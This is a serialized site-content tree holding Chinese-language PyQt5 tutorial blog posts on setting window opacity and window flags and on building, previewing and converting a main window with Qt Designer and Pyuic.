20250827135243","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827135243.png",[],{"type":18,"tag":34,"props":69191,"children":69192},{},[69193],{"type":24,"value":69194},"控制窗口透明度的具体操作如下：",{"type":18,"tag":34,"props":69196,"children":69197},{},[69198,69200,69205,69207,69212],{"type":24,"value":69199},"选中窗口，然后在",{"type":18,"tag":74,"props":69201,"children":69203},{"className":69202},[],[69204],{"type":24,"value":67333},{"type":24,"value":69206},"中设置",{"type":18,"tag":74,"props":69208,"children":69210},{"className":69209},[],[69211],{"type":24,"value":67036},{"type":24,"value":69213},"属性的值即可，如图所示。",{"type":18,"tag":34,"props":69215,"children":69216},{},[69217],{"type":18,"tag":54,"props":69218,"children":69221},{"alt":69219,"src":69220},"Pasted image 20250827135515","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827135515.png",[],{"type":18,"tag":96,"props":69223,"children":69224},{},[69225],{"type":18,"tag":34,"props":69226,"children":69227},{},[69228,69232,69233,69238,69240,69246,69248,69253,69255,69260],{"type":18,"tag":105,"props":69229,"children":69230},{},[69231],{"type":24,"value":33435},{"type":24,"value":49525},{"type":18,"tag":74,"props":69234,"children":69236},{"className":69235},[],[69237],{"type":24,"value":67036},{"type":24,"value":69239},"属性的值为",{"type":18,"tag":74,"props":69241,"children":69243},{"className":69242},[],[69244],{"type":24,"value":69245},"0~1",{"type":24,"value":69247},"之间的数，其中，",{"type":18,"tag":74,"props":69249,"children":69251},{"className":69250},[],[69252],{"type":24,"value":18463},{"type":24,"value":69254},"表示完全透明；",{"type":18,"tag":74,"props":69256,"children":69258},{"className":69257},[],[69259],{"type":24,"value":470},{"type":24,"value":69261},"表示完全不透明。",{"type":18,"tag":34,"props":69263,"children":69264},{},[69265,69267,69273],{"type":24,"value":69266},"在Python代码中使用",{"type":18,"tag":74,"props":69268,"children":69270},{"className":69269},[],[69271],{"type":24,"value":69272},"setWindowOpacity()函数",{"type":24,"value":69274},"也可以设置窗口的透明度，例如，下面的代码将窗口的透明度设置为半透明：",{"type":18,"tag":287,"props":69276,"children":69278},{"code":69277,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setWindowOpacity(0.5)\n",[69279],{"type":18,"tag":74,"props":69280,"children":69281},{"__ignoreMap":8},[69282],{"type":18,"tag":297,"props":69283,"children":69284},{"class":299,"line":300},[69285],{"type":18,"tag":297,"props":69286,"children":69287},{},[69288],{"type":24,"value":69277},{"type":18,"tag":19,"props":69290,"children":69292},{"id":69291},"_5设置窗口样式",[69293],{"type":24,"value":69294},"5  设置窗口样式",{"type":18,"tag":121,"props":69296,"children":69297},{},[],{"type":18,"tag":34,"props":69299,"children":69300},{},[69301,69303,69309],{"type":24,"value":69302},"在PyQt5中，使用",{"type":18,"tag":74,"props":69304,"children":69306},{"className":69305},[],[69307],{"type":24,"value":69308},"setWindowFlags()函数",{"type":24,"value":69310},"设置窗口的样式，该函数的语法如下：",{"type":18,"tag":287,"props":69312,"children":69314},{"code":69313,"language":28712,"meta":8,"className":28710,"style":8},"setWindowFlags(Qt.WindowFlags)\n",[69315],{"type":18,"tag":74,"props":69316,"children":69317},{"__ignoreMap":8},[69318],{"type":18,"tag":297,"props":69319,"children":69320},{"class":299,"line":300},[69321],{"type":18,"tag":297,"props":69322,"children":69323},{},[69324],{"type":24,"value":69313},{"type":18,"tag":34,"props":69326,"children":69327},{},[69328,69334],{"type":18,"tag":74,"props":69329,"children":69331},{"className":69330},[],[69332],{"type":24,"value":69333},"Qt.WindowFlags",{"type":24,"value":69335},"参数表示要设置的窗口样式，它的取值分为两种类型，分别如下：",{"type":18,"tag":210,"props":69337,"children":69338},{},[69339],{"type":18,"tag":158,"props":69340,"children":69341},{},[69342],{"type":24,"value":69343},"PyQt5的基本窗口类型及说明，如表所示。",{"type":18,"tag":431,"props":69345,"children":69346},{},[69347,69368],{"type":18,"tag":435,"props":69348,"children":69349},{},[69350],{"type":18,"tag":439,"props":69351,"children":69352},{},[69353,69361],{"type":18,"tag":443,"props":69354,"children":69355},{"align":3465},[69356],{"type":18,"tag":105,"props":69357,"children":69358},{},[69359],{"type":24,"value":69360},"参  数  值",{"type":18,"tag":443,"props":69362,"children":69363},{"align":3465},[69364],{"type":18,"tag":105,"props":69365,"children":69366},{},[69367],{"type":24,"value":41526},{"type":18,"tag":459,"props":69369,"children":69370},{},[69371,69384,69397,69410,69423,69436,69449],{"type":18,"tag":439,"props":69372,"children":69373},{},[69374,69379],{"type":18,"tag":466,"props":69375,"children":69376},{"align":3465},[69377],{"type":24,"value":69378},"Qt.Widget",{"type":18,"tag":466,"props":69380,"children":69381},{"align":3465},[69382],{"type":24,"value":69383},"默认窗口，有最大化、最小化和关闭按钮",{"type":18,"tag":439,"props":69385,"children":69386},{},[69387,69392],{"type":18,"tag":466,"props":69388,"children":69389},{"align":3465},[69390],{"type":24,"value":69391},"Qt.Window",{"type":18,"tag":466,"props":69393,"children":69394},{"align":3465},[69395],{"type":24,"value":69396},"普通窗口，有最大化、最小化和关闭按钮",{"type":18,"tag":439,"props":69398,"children":69399},{},[69400,69405],{"type":18,"tag":466,"props":69401,"children":69402},{"align":3465},[69403],{"type":24,"value":69404},"Qt.Dialog",{"type":18,"tag":466,"props":69406,"children":69407},{"align":3465},[69408],{"type":24,"value":69409},"对话框窗口，有问号（？）和关闭按钮",{"type":18,"tag":439,"props":69411,"children":69412},{},[69413,69418],{"type":18,"tag":466,"props":69414,"children":69415},{"align":3465},[69416],{"type":24,"value":69417},"Qt.Popup",{"type":18,"tag":466,"props":69419,"children":69420},{"align":3465},[69421],{"type":24,"value":69422},"无边框的弹出窗口",{"type":18,"tag":439,"props":69424,"children":69425},{},[69426,69431],{"type":18,"tag":466,"props":69427,"children":69428},{"align":3465},[69429],{"type":24,"value":69430},"Qt.ToolTip",{"type":18,"tag":466,"props":69432,"children":69433},{"align":3465},[69434],{"type":24,"value":69435},"无边框的提示窗口，没有任务栏",{"type":18,"tag":439,"props":69437,"children":69438},{},[69439,69444],{"type":18,"tag":466,"props":69440,"children":69441},{"align":3465},[69442],{"type":24,"value":69443},"Qt.SplashScreen",{"type":18,"tag":466,"props":69445,"children":69446},{"align":3465},[69447],{"type":24,"value":69448},"无边框的闪屏窗口，没有任务栏",{"type":18,"tag":439,"props":69450,"children":69451},{},[69452,69457],{"type":18,"tag":466,"props":69453,"children":69454},{"align":3465},[69455],{"type":24,"value":69456},"Qt.SubWindow",{"type":18,"tag":466,"props":69458,"children":69459},{"align":3465},[69460],{"type":24,"value":69461},"子窗口，窗口没有按钮，但有标题",{"type":18,"tag":34,"props":69463,"children":69464},{},[69465,69467,69472],{"type":24,"value":69466},"例如，下面代码用来将名称为",{"type":18,"tag":74,"props":69468,"children":69470},{"className":69469},[],[69471],{"type":24,"value":54053},{"type":24,"value":69473},"的窗口设置为一个对话框窗口：",{"type":18,"tag":287,"props":69475,"children":69477},{"code":69476,"language":28712,"meta":8,"className":28710,"style":8},"# 显示一个有问号（?）和关闭按钮的对话框  \nMainWindow.setWindowFlags(QtCore.Qt.Dialog)\n",[69478],{"type":18,"tag":74,"props":69479,"children":69480},{"__ignoreMap":8},[69481,69489],{"type":18,"tag":297,"props":69482,"children":69483},{"class":299,"line":300},[69484],{"type":18,"tag":297,"props":69485,"children":69486},{},[69487],{"type":24,"value":69488},"# 显示一个有问号（?）和关闭按钮的对话框  \n",{"type":18,"tag":297,"props":69490,"children":69491},{"class":299,"line":657},[69492],{"type":18,"tag":297,"props":69493,"children":69494},{},[69495],{"type":24,"value":69496},"MainWindow.setWindowFlags(QtCore.Qt.Dialog)\n",{"type":18,"tag":210,"props":69498,"children":69499},{},[69500],{"type":18,"tag":158,"props":69501,"children":69502},{},[69503],{"type":24,"value":69504},"自定义顶层窗口外观及说明，如表所示。",{"type":18,"tag":431,"props":69506,"children":69507},{},[69508,69528],{"type":18,"tag":435,"props":69509,"children":69510},{},[69511],{"type":18,"tag":439,"props":69512,"children":69513},{},[69514,69521],{"type":18,"tag":443,"props":69515,"children":69516},{"align":3465},[69517],{"type":18,"tag":105,"props":69518,"children":69519},{},[69520],{"type":24,"value":69360},{"type":18,"tag":443,"props":69522,"children":69523},{"align":3465},[69524],{"type":18,"tag":105,"props":69525,"children":69526},{},[69527],{"type":24,"value":41526},{"type":18,"tag":459,"props":69529,"children":69530},{},[69531,69544,69557,69570,69583,69596,69609,69622,69635,69648,69661,69674],{"type":18,"tag":439,"props":69532,"children":69533},{},[69534,69539],{"type":18,"tag":466,"props":69535,"children":69536},{"align":3465},[69537],{"type":24,"value":69538},"Qt.MSWindowsFixedSizeDialogHint",{"type":18,"tag":466,"props":69540,"children":69541},{"align":3465},[69542],{"type":24,"value":69543},"无法调整大小的窗口",{"type":18,"tag":439,"props":69545,"children":69546},{},[69547,69552],{"type":18,"tag":466,"props":69548,"children":69549},{"align":3465},[69550],{"type":24,"value":69551},"Qt.FramelessWindowHint",{"type":18,"tag":466,"props":69553,"children":69554},{"align":3465},[69555],{"type":24,"value":69556},"无边框窗口",{"type":18,"tag":439,"props":69558,"children":69559},{},[69560,69565],{"type":18,"tag":466,"props":69561,"children":69562},{"align":3465},[69563],{"type":24,"value":69564},"Qt.CustomizeWindowHint",{"type":18,"tag":466,"props":69566,"children":69567},{"align":3465},[69568],{"type":24,"value":69569},"有边框但无标题栏和按钮，不能移动和拖动的窗口",{"type":18,"tag":439,"props":69571,"children":69572},{},[69573,69578],{"type":18,"tag":466,"props":69574,"children":69575},{"align":3465},[69576],{"type":24,"value":69577},"Qt.WindowTitleHint",{"type":18,"tag":466,"props":69579,"children":69580},{"align":3465},[69581],{"type":24,"value":69582},"添加标题栏和一个关闭按钮的窗口",{"type":18,"tag":439,"props":69584,"children":69585},{},[69586,69591],{"type":18,"tag":466,"props":69587,"children":69588},{"align":3465},[69589],{"type":24,"value":69590},"Qt.WindowSystemMenuHint",{"type":18,"tag":466,"props":69592,"children":69593},{"align":3465},[69594],{"type":24,"value":69595},"添加系统目录和一个关闭按钮的窗口",{"type":18,"tag":439,"props":69597,"children":69598},{},[69599,69604],{"type":18,"tag":466,"props":69600,"children":69601},{"align":3465},[69602],{"type":24,"value":69603},"Qt.WindowMaximizeButtonHint",{"type":18,"tag":466,"props":69605,"children":69606},{"align":3465},[69607],{"type":24,"value":69608},"激活最大化按钮的窗口",{"type":18,"tag":439,"props":69610,"children":69611},{},[69612,69617],{"type":18,"tag":466,"props":69613,"children":69614},{"align":3465},[69615],{"type":24,"value":69616},"Qt.WindowMinimizeButtonHint",{"type":18,"tag":466,"props":69618,"children":69619},{"align":3465},[69620],{"type":24,"value":69621},"激活最小化按钮的窗口",{"type":18,"tag":439,"props":69623,"children":69624},{},[69625,69630],{"type":18,"tag":466,"props":69626,"children":69627},{"align":3465},[69628],{"type":24,"value":69629},"Qt.WindowMinMaxButtonsHint",{"type":18,"tag":466,"props":69631,"children":69632},{"align":3465},[69633],{"type":24,"value":69634},"激活最小化和最大化按钮的窗口",{"type":18,"tag":439,"props":69636,"children":69637},{},[69638,69643],{"type":18,"tag":466,"props":69639,"children":69640},{"align":3465},[69641],{"type":24,"value":69642},"Qt.WindowCloseButtonHint",{"type":18,"tag":466,"props":69644,"children":69645},{"align":3465},[69646],{"type":24,"value":69647},"添加一个关闭按钮的窗口",{"type":18,"tag":439,"props":69649,"children":69650},{},[69651,69656],{"type":18,"tag":466,"props":69652,"children":69653},{"align":3465},[69654],{"type":24,"value":69655},"Qt.WindowContextHelpButtonHint",{"type":18,"tag":466,"props":69657,"children":69658},{"align":3465},[69659],{"type":24,"value":69660},"添加像对话框一样的问号（？）和关闭按钮",{"type":18,"tag":439,"props":69662,"children":69663},{},[69664,69669],{"type":18,"tag":466,"props":69665,"children":69666},{"align":3465},[69667],{"type":24,"value":69668},"Qt.WindowStaysOnTopHint",{"type":18,"tag":466,"props":69670,"children":69671},{"align":3465},[69672],{"type":24,"value":69673},"使窗口始终处于顶层位置",{"type":18,"tag":439,"props":69675,"children":69676},{},[69677,69682],{"type":18,"tag":466,"props":69678,"children":69679},{"align":3465},[69680],{"type":24,"value":69681},"Qt.WindowStaysOnBottomHint",{"type":18,"tag":466,"props":69683,"children":69684},{"align":3465},[69685],{"type":24,"value":69686},"使窗口始终处于底层位置",{"type":18,"tag":34,"props":69688,"children":69689},{},[69690,69692,69697,69699,69704],{"type":24,"value":69691},"例如，下面代码用来设置名称为",{"type":18,"tag":74,"props":69693,"children":69695},{"className":69694},[],[69696],{"type":24,"value":54053},{"type":24,"value":69698},"的窗口",{"type":18,"tag":105,"props":69700,"children":69701},{},[69702],{"type":24,"value":69703},"只有关闭按钮",{"type":24,"value":69705},"，而没有最大化、最小化按钮：",{"type":18,"tag":287,"props":69707,"children":69709},{"code":69708,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow.setWindowFlags(QtCore.Qt.WindowCloseButtonHint)  # 只显示关闭按钮\n",[69710],{"type":18,"tag":74,"props":69711,"children":69712},{"__ignoreMap":8},[69713],{"type":18,"tag":297,"props":69714,"children":69715},{"class":299,"line":300},[69716],{"type":18,"tag":297,"props":69717,"children":69718},{},[69719],{"type":24,"value":69708},{"type":18,"tag":34,"props":69721,"children":69722},{},[69723],{"type":24,"value":69724},"将窗口设置为对话框窗口和只有关闭按钮的窗口的效果如下图所示。",{"type":18,"tag":34,"props":69726,"children":69727},{},[69728],{"type":18,"tag":54,"props":69729,"children":69732},{"alt":69730,"src":69731},"Pasted image 20250827141328","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827141328.png",[],{"type":18,"tag":96,"props":69734,"children":69735},{},[69736,69753],{"type":18,"tag":34,"props":69737,"children":69738},{},[69739,69743,69745,69751],{"type":18,"tag":105,"props":69740,"children":69741},{},[69742],{"type":24,"value":33382},{"type":24,"value":69744}," 注意\n对窗口样式的设置，需要在初始化窗体之后才会起作用，即需要将设置窗口样式的代码放在",{"type":18,"tag":74,"props":69746,"children":69748},{"className":69747},[],[69749],{"type":24,"value":69750},"setupUi()函数",{"type":24,"value":69752},"之后执行，例如：",{"type":18,"tag":287,"props":69754,"children":69756},{"code":69755,"language":28712,"meta":8,"className":28710,"style":8},"MainWindow = QtWidgets.QMainWindow()    # 创建窗体对象  \n",[69757],{"type":18,"tag":74,"props":69758,"children":69759},{"__ignoreMap":8},[69760],{"type":18,"tag":297,"props":69761,"children":69762},{"class":299,"line":300},[69763],{"type":18,"tag":297,"props":69764,"children":69765},{},[69766],{"type":24,"value":69767},"MainWindow = QtWidgets.QMainWindow()    # 创建窗体对象\n",{"type":18,"tag":34,"props":69769,"children":69770},{},[69771,69773,69776,69778,69781],{"type":24,"value":69772},"ui = Ui_MainWindow()            # 创建PyQt设计的窗体对象",{"type":18,"tag":6882,"props":69774,"children":69775},{},[],{"type":24,"value":69777},"\nui.setupUi(MainWindow)          # 调用PyQt窗体的方法对窗体对象进行初始化设置",{"type":18,"tag":6882,"props":69779,"children":69780},{},[],{"type":24,"value":69782},"\nMainWindow.setWindowFlags(QtCore.Qt.WindowCloseButtonHint)# 只显示关闭按钮",{"type":18,"tag":96,"props":69784,"children":69785},{},[69786],{"type":18,"tag":287,"props":69787,"children":69788},{"code":8},[69789],{"type":18,"tag":74,"props":69790,"children":69791},{"__ignoreMap":8},[69792],{"type":24,"value":8},{"type":18,"tag":651,"props":69794,"children":69795},{},[69796],{"type":24,"value":655},{"title":8,"searchDepth":657,"depth":657,"links":69798},[69799,69800,69801,69802,69803,69804],{"id":66943,"depth":657,"text":66946},{"id":67316,"depth":657,"text":67319},{"id":67658,"depth":657,"text":67661},{"id":67866,"depth":657,"text":67869},{"id":69170,"depth":657,"text":69173},{"id":69291,"depth":657,"text":69294},"content:blog:2025-07-19-pyqt5-窗口的个性化设置.md","blog\u002F2025-07-19-pyqt5-窗口的个性化设置.md","blog\u002F2025-07-19-pyqt5-窗口的个性化设置",{"_path":69809,"_dir":6,"_draft":7,"_partial":7,"_locale":8,"title":69810,"description":69811,"date":69812,"tags":69813,"body":69814,"_type":672,"_id":70404,"_source":674,"_file":70405,"_stem":70406,"_extension":677},"\u002Fblog\u002F2025-07-18-pyqt5-qt-designer","PyQt5-使用 Qt Designer 创建窗口","使用Qt Designer创建第一个窗口，.ui文件转.py文件与代码调试。","2025-07-18",[28616,41429,41430],{"type":15,"children":69815,"toc":70394},[69816,69822,69825,69850,69883,69895,69901,69904,69929,69937,69943,69946,69959,69967,69973,69976,69996,70004,70009,70023,70031,70039,70047,70055,70063,70069,70072,70091,70099,70112,70120,70138,70141,70178,70191,70223,70231,70243,70251,70257,70260,70293,70362,70382,70390],{"type":18,"tag":19,"props":69817,"children":69819},{"id":69818},"_1main-window介绍",[69820],{"type":24,"value":69821},"1  Main Window介绍",{"type":18,"tag":121,"props":69823,"children":69824},{},[],{"type":18,"tag":34,"props":69826,"children":69827},{},[69828,69830,69835,69836,69841,69842,69848],{"type":24,"value":69829},"在PyQt5中最常用的窗口有三种，即",{"type":18,"tag":74,"props":69831,"children":69833},{"className":69832},[],[69834],{"type":24,"value":61340},{"type":24,"value":1942},{"type":18,"tag":74,"props":69837,"children":69839},{"className":69838},[],[69840],{"type":24,"value":59418},{"type":24,"value":10315},{"type":18,"tag":74,"props":69843,"children":69845},{"className":69844},[],[69846],{"type":24,"value":69847},"Dialog",{"type":24,"value":69849},"，说明如下：",{"type":18,"tag":210,"props":69851,"children":69852},{},[69853,69863,69873],{"type":18,"tag":158,"props":69854,"children":69855},{},[69856,69861],{"type":18,"tag":74,"props":69857,"children":69859},{"className":69858},[],[69860],{"type":24,"value":61340},{"type":24,"value":69862},"：即主窗口，它主要为用户提供一个带有菜单栏、工具栏和状态栏的窗口。",{"type":18,"tag":158,"props":69864,"children":69865},{},[69866,69871],{"type":18,"tag":74,"props":69867,"children":69869},{"className":69868},[],[69870],{"type":24,"value":59418},{"type":24,"value":69872},"：通用窗口，在PyQt5中，没有嵌入到其他控件中的控件都称为窗口。",{"type":18,"tag":158,"props":69874,"children":69875},{},[69876,69881],{"type":18,"tag":74,"props":69877,"children":69879},{"className":69878},[],[69880],{"type":24,"value":69847},{"type":24,"value":69882},"：对话框窗口，主要用来执行短期任务，或者与用户进行交互，没有菜单栏、工具栏和状态栏。",{"type":18,"tag":34,"props":69884,"children":69885},{},[69886,69888,69893],{"type":24,"value":69887},"下面主要对",{"type":18,"tag":74,"props":69889,"children":69891},{"className":69890},[],[69892],{"type":24,"value":54053},{"type":24,"value":69894},"主窗口进行介绍。",{"type":18,"tag":19,"props":69896,"children":69898},{"id":69897},"_2创建主窗口",[69899],{"type":24,"value":69900},"2  创建主窗口",{"type":18,"tag":121,"props":69902,"children":69903},{},[],{"type":18,"tag":34,"props":69905,"children":69906},{},[69907,69909,69914,69916,69921,69923,69928],{"type":24,"value":69908},"创建主窗口的方法非常简单，只需要打开Qt Designer设计器，在",{"type":18,"tag":74,"props":69910,"children":69912},{"className":69911},[],[69913],{"type":24,"value":60167},{"type":24,"value":69915},"中选择",{"type":18,"tag":74,"props":69917,"children":69919},{"className":69918},[],[69920],{"type":24,"value":61340},{"type":24,"value":69922},"选项，然后单击",{"type":18,"tag":74,"props":69924,"children":69926},{"className":69925},[],[69927],{"type":24,"value":60175},{"type":24,"value":68792},{"type":18,"tag":34,"props":69930,"children":69931},{},[69932],{"type":18,"tag":54,"props":69933,"children":69936},{"alt":69934,"src":69935},"Pasted image 20250827094921","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827094921.png",[],{"type":18,"tag":19,"props":69938,"children":69940},{"id":69939},"_3设计主窗口",[69941],{"type":24,"value":69942},"3  设计主窗口",{"type":18,"tag":121,"props":69944,"children":69945},{},[],{"type":18,"tag":34,"props":69947,"children":69948},{},[69949,69951,69957],{"type":24,"value":69950},"创建完主窗口后，主窗口中默认只有一个菜单栏和一个状态栏，要设计主窗口时，只需要根据自己的需求，在左侧的",{"type":18,"tag":74,"props":69952,"children":69954},{"className":69953},[],[69955],{"type":24,"value":69956},"Widget Box",{"type":24,"value":69958},"工具箱中选中相应的控件，然后按住鼠标左键，将其拖放到主窗口中的指定位置即可，操作如图所示。",{"type":18,"tag":34,"props":69960,"children":69961},{},[69962],{"type":18,"tag":54,"props":69963,"children":69966},{"alt":69964,"src":69965},"Pasted image 20250827095237","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827095237.png",[],{"type":18,"tag":19,"props":69968,"children":69970},{"id":69969},"_4预览窗口效果",[69971],{"type":24,"value":69972},"4  预览窗口效果",{"type":18,"tag":121,"props":69974,"children":69975},{},[],{"type":18,"tag":34,"props":69977,"children":69978},{},[69979,69981,69987,69988,69994],{"type":24,"value":69980},"Qt Designer设计器提供了预览窗口效果的功能，可以预览设计的窗口在实际运行时的效果，以便根据该效果进行调整设计。具体使用方式为：在Qt Designer设计器的菜单栏中选择",{"type":18,"tag":74,"props":69982,"children":69984},{"className":69983},[],[69985],{"type":24,"value":69986},"窗体",{"type":24,"value":60153},{"type":18,"tag":74,"props":69989,"children":69991},{"className":69990},[],[69992],{"type":24,"value":69993},"预览于",{"type":24,"value":69995},"，然后分别选择相应的菜单项即可，这里提供了3种风格的预览方式，如图所示。",{"type":18,"tag":34,"props":69997,"children":69998},{},[69999],{"type":18,"tag":54,"props":70000,"children":70003},{"alt":70001,"src":70002},"Pasted image 20250827095744","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827095744.png",[],{"type":18,"tag":34,"props":70005,"children":70006},{},[70007],{"type":24,"value":70008},"以上3种风格的预览效果分别如下图所示。",{"type":18,"tag":210,"props":70010,"children":70011},{},[70012],{"type":18,"tag":158,"props":70013,"children":70014},{},[70015,70021],{"type":18,"tag":74,"props":70016,"children":70018},{"className":70017},[],[70019],{"type":24,"value":70020},"windowsvista",{"type":24,"value":70022},"风格",{"type":18,"tag":34,"props":70024,"children":70025},{},[70026],{"type":18,"tag":54,"props":70027,"children":70030},{"alt":70028,"src":70029},"Pasted image 20250827100001","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827100001.png",[],{"type":18,"tag":210,"props":70032,"children":70033},{},[70034],{"type":18,"tag":158,"props":70035,"children":70036},{},[70037],{"type":24,"value":70038},"Windows风格",{"type":18,"tag":34,"props":70040,"children":70041},{},[70042],{"type":18,"tag":54,"props":70043,"children":70046},{"alt":70044,"src":70045},"Pasted image 20250827100101","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827100101.png",[],{"type":18,"tag":210,"props":70048,"children":70049},{},[70050],{"type":18,"tag":158,"props":70051,"children":70052},{},[70053],{"type":24,"value":70054},"Fusion风格",{"type":18,"tag":34,"props":70056,"children":70057},{},[70058],{"type":18,"tag":54,"props":70059,"children":70062},{"alt":70060,"src":70061},"Pasted image 20250827100129","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827100129.png",[],{"type":18,"tag":19,"props":70064,"children":70066},{"id":70065},"_5查看python代码",[70067],{"type":24,"value":70068},"5  查看Python代码",{"type":18,"tag":121,"props":70070,"children":70071},{},[],{"type":18,"tag":34,"props":70073,"children":70074},{},[70075,70077,70082,70083,70089],{"type":24,"value":70076},"设计完窗口之后，可以直接在Qt Designer设计器中查看其对应的Python代码，方法是选择菜单栏中的",{"type":18,"tag":74,"props":70078,"children":70080},{"className":70079},[],[70081],{"type":24,"value":69986},{"type":24,"value":60153},{"type":18,"tag":74,"props":70084,"children":70086},{"className":70085},[],[70087],{"type":24,"value":70088},"View Python Code",{"type":24,"value":70090},"菜单，如图所示。",{"type":18,"tag":34,"props":70092,"children":70093},{},[70094],{"type":18,"tag":54,"props":70095,"children":70098},{"alt":70096,"src":70097},"Pasted image 20250827100327","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827100327.png",[],{"type":18,"tag":34,"props":70100,"children":70101},{},[70102,70104,70110],{"type":24,"value":70103},"出现一个显示当前窗口对应Python代码的窗体，如图所示，可以直接单击窗体工具栏中的",{"type":18,"tag":74,"props":70105,"children":70107},{"className":70106},[],[70108],{"type":24,"value":70109},"复制全部",{"type":24,"value":70111},"按钮，将所有代码复制到Python开发工具（比如PyCharm）中进行使用。",{"type":18,"tag":34,"props":70113,"children":70114},{},[70115],{"type":18,"tag":54,"props":70116,"children":70119},{"alt":70117,"src":70118},"Pasted image 20250827100411","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827100411.png",[],{"type":18,"tag":19,"props":70121,"children":70123},{"id":70122},"_6将ui文件转换为py文件",[70124,70126,70131,70132,70137],{"type":24,"value":70125},"6  将",{"type":18,"tag":74,"props":70127,"children":70129},{"className":70128},[],[70130],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":70133,"children":70135},{"className":70134},[],[70136],{"type":24,"value":42560},{"type":24,"value":5036},{"type":18,"tag":121,"props":70139,"children":70140},{},[],{"type":18,"tag":34,"props":70142,"children":70143},{},[70144,70145,70149,70151,70156,70157,70162,70164,70169,70171,70176],{"type":24,"value":9086},{"type":18,"tag":43,"props":70146,"children":70147},{"href":61281},[70148],{"type":24,"value":69033},{"type":24,"value":70150}," 中，配置了将",{"type":18,"tag":74,"props":70152,"children":70154},{"className":70153},[],[70155],{"type":24,"value":43367},{"type":24,"value":55711},{"type":18,"tag":74,"props":70158,"children":70160},{"className":70159},[],[70161],{"type":24,"value":42560},{"type":24,"value":70163},"文件的扩展工具Pyuic，在Qt Designer窗口中就可以使用该工具将",{"type":18,"tag":74,"props":70165,"children":70167},{"className":70166},[],[70168],{"type":24,"value":43367},{"type":24,"value":70170},"文件转换为对应的",{"type":18,"tag":74,"props":70172,"children":70174},{"className":70173},[],[70175],{"type":24,"value":42560},{"type":24,"value":70177},"文件。步骤如下：",{"type":18,"tag":34,"props":70179,"children":70180},{},[70181,70183,70189],{"type":24,"value":70182},"1）首先在Qt Designer设计器窗口中设计完的GUI窗口，按下",{"type":18,"tag":74,"props":70184,"children":70186},{"className":70185},[],[70187],{"type":24,"value":70188},"Ctrl + S",{"type":24,"value":70190},"组合快捷键将窗体UI保存到指定路径下，这里直接保存到创建的Python项目中。",{"type":18,"tag":34,"props":70192,"children":70193},{},[70194,70196,70201,70203,70208,70209,70215,70216,70222],{"type":24,"value":70195},"2）在PyCharm的项目导航窗口中选择保存好的",{"type":18,"tag":74,"props":70197,"children":70199},{"className":70198},[],[70200],{"type":24,"value":43367},{"type":24,"value":70202},"文件，然后选择菜单栏中的",{"type":18,"tag":74,"props":70204,"children":70206},{"className":70205},[],[70207],{"type":24,"value":69099},{"type":24,"value":60153},{"type":18,"tag":74,"props":70210,"children":70212},{"className":70211},[],[70213],{"type":24,"value":70214},"External Tool",{"type":24,"value":60153},{"type":18,"tag":74,"props":70217,"children":70219},{"className":70218},[],[70220],{"type":24,"value":70221},"Pyuic",{"type":24,"value":70090},{"type":18,"tag":34,"props":70224,"children":70225},{},[70226],{"type":18,"tag":54,"props":70227,"children":70230},{"alt":70228,"src":70229},"Pasted image 20250827100906","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827100906.png",[],{"type":18,"tag":34,"props":70232,"children":70233},{},[70234,70236,70241],{"type":24,"value":70235},"3）即可自动将选中的.ui文件转换为同名的",{"type":18,"tag":74,"props":70237,"children":70239},{"className":70238},[],[70240],{"type":24,"value":42560},{"type":24,"value":70242},"文件，双击即可查看代码，如图所示。",{"type":18,"tag":34,"props":70244,"children":70245},{},[70246],{"type":18,"tag":54,"props":70247,"children":70250},{"alt":70248,"src":70249},"Pasted image 20250827101042","\u002Fimages\u002Fblog\u002Fpyqt5\u002FPasted%20image%2020250827101042.png",[],{"type":18,"tag":19,"props":70252,"children":70254},{"id":70253},"_7运行主窗口",[70255],{"type":24,"value":70256},"7  运行主窗口",{"type":18,"tag":121,"props":70258,"children":70259},{},[],{"type":18,"tag":34,"props":70261,"children":70262},{},[70263,70265,70270,70272,70278,70280,70285,70286,70291],{"type":24,"value":70264},"通过上面的步骤，已经将在Qt Designer中设计的窗体转换为了",{"type":18,"tag":74,"props":70266,"children":70268},{"className":70267},[],[70269],{"type":24,"value":42560},{"type":24,"value":70271},"脚本文件，但还不能运行，因为转换后的文件代码中没有程序入口，因此需要通过判断名称是否为",{"type":18,"tag":74,"props":70273,"children":70275},{"className":70274},[],[70276],{"type":24,"value":70277},"__main__",{"type":24,"value":70279},"来设置程序入口，并在其中通过",{"type":18,"tag":74,"props":70281,"children":70283},{"className":70282},[],[70284],{"type":24,"value":54053},{"type":24,"value":60508},{"type":18,"tag":74,"props":70287,"children":70289},{"className":70288},[],[70290],{"type":24,"value":69157},{"type":24,"value":70292},"来显示，代码如下：",{"type":18,"tag":287,"props":70294,"children":70295},{"className":28710,"code":60276,"language":28712,"meta":8,"style":8},[70296],{"type":18,"tag":74,"props":70297,"children":70298},{"__ignoreMap":8},[70299,70306,70313,70320,70327,70334,70341,70348,70355],{"type":18,"tag":297,"props":70300,"children":70301},{"class":299,"line":300},[70302],{"type":18,"tag":297,"props":70303,"children":70304},{},[70305],{"type":24,"value":42415},{"type":18,"tag":297,"props":70307,"children":70308},{"class":299,"line":657},[70309],{"type":18,"tag":297,"props":70310,"children":70311},{},[70312],{"type":24,"value":42423},{"type":18,"tag":297,"props":70314,"children":70315},{"class":299,"line":662},[70316],{"type":18,"tag":297,"props":70317,"children":70318},{},[70319],{"type":24,"value":42431},{"type":18,"tag":297,"props":70321,"children":70322},{"class":299,"line":799},[70323],{"type":18,"tag":297,"props":70324,"children":70325},{},[70326],{"type":24,"value":42439},{"type":18,"tag":297,"props":70328,"children":70329},{"class":299,"line":808},[70330],{"typ